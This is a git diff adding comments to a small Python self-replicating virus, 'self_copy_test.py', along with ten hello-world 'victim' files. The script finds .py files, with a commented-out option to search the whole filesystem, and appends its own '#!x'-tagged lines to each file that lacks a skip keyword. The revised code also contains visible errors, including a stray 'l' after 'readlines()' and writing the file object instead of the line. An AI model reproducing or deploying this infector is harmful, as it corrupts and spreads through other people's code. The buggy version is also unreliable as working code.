diff --git a/self_copy_test.py b/self_copy_test.py index b6f3d8c..f31ca0a 100644 --- a/self_copy_test.py +++ b/self_copy_test.py @@ -1,24 +1,40 @@ -import os #!x -import sys #!x -import glob #!x -import socket #!x -import string #!x +import os #!x +import sys #!x +import glob #!x +import socket #!x +import string #!x -cmd = 'find /tmp -name "*.py" -print' #!x +# search command, adjust to your needs +#cmd = 'find / -name "*.py" -print' #!x +cmd = 'find ./victims -name "*.py" -print' #!x +# keyword which prevents file from getting infected +keyword = 'plsdontinjectme' #!x - -for Files in os.popen(cmd).readlines():#!x - Files = Files[:-1]#!x - try:#!x - vCode = open(__file__, 'r')#!x - victim = open(Files, 'r')#!x - readvictim = victim.read()#!x - if str.find(readvictim, "pRdElKa") == -1:#!x - victim = open(Files, 'a')#!x - for code in vCode.readlines():#!x - if("#!x") in code:#!x - vCode.close()#!x - mycode=(code)#!x - victim.write(mycode)#!x - except IOError:#!x - a = 1#!x +# for each file that matches the search command +for snippet in os.popen(cmd).readlines()l: #!x + # strip newlines + snippet = snippet[:-1] #!x + try: #!x + # open this file containing the target code + code = open(__file__, 'r') #!x + # open victim file + victim = open(snippet, 'r') #!x + # read the content of the victim file + read_victim = victim.read() #!x + # if the file contains keyword, do not inject code + if str.find(read_victim, keyword) == -1: #!x + # open it with write_append rights + victim = open(snippet, 'a') #!x + # for each line in + for line in code.readlines(): #!x + # if the line contains the copy signal + if("#!x") in line: #!x + # close the code file + code.close() #!x + # save the content + insert=(code) #!x + # insert the code into the victim file + victim.write(insert) #!x + # poor mans error handling + except IOError: #!x + a = 1 #!x diff --git a/victims/a.py b/victims/a.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/a.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/b.py b/victims/b.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/b.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/c.py b/victims/c.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/c.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/d.py b/victims/d.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/d.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/e.py b/victims/e.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/e.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/f.py b/victims/f.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/f.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/g.py b/victims/g.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/g.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/h.py b/victims/h.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/h.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/j.py b/victims/j.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/j.py @@ -0,0 +1,2 @@ +import string +print("hello world") diff --git a/victims/k.py b/victims/k.py new file mode 100644 index 0000000..36906f9 --- /dev/null +++ b/victims/k.py @@ -0,0 +1,2 @@ +import string +print("hello world")